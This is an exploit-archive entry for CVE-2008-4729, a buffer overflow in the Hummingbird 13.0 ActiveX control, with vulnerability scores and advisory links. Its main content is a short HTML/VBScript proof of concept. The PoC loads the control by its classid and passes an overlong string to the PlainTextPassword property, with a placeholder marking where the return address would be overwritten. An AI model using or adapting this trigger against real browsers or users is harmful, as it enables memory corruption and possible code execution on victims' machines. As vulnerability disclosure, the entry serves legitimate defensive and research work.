Hummingbird <= 13.0 ActiveX Remote Buffer Overflow PoC

2008-10-26 / 2008-10-27

Credit: thomas.pollet

Risk: Medium

Local: Yes

Remote: No

CVE: CVE-2008-4729

CWE: CWE-119

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<html>

<!--

the latest version of this activex (13.0) is compiled with /gs,  earlier versions aren't.
The XXXX would have overwritten return address.
by thomas.pollet@gmail.com

-->

<object classid='clsid:FFB6CC68-702D-4FE2-A8E7-4DE23835F0D2' id='target' ></object>
<script language='vbscript'>
arg1="001101220123012401250126012701280129012:012;012<012=012>012?012@012A012B012C012D012E012FXXXX"
target.PlainTextPassword = arg1

</script>
</html>

References:

http://www.milw0rm.com/exploits/6761

http://secunia.com/advisories/32319

See this note in RAW Version

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Hummingbird <= 13.0 ActiveX Remote Buffer Overflow PoC

References:

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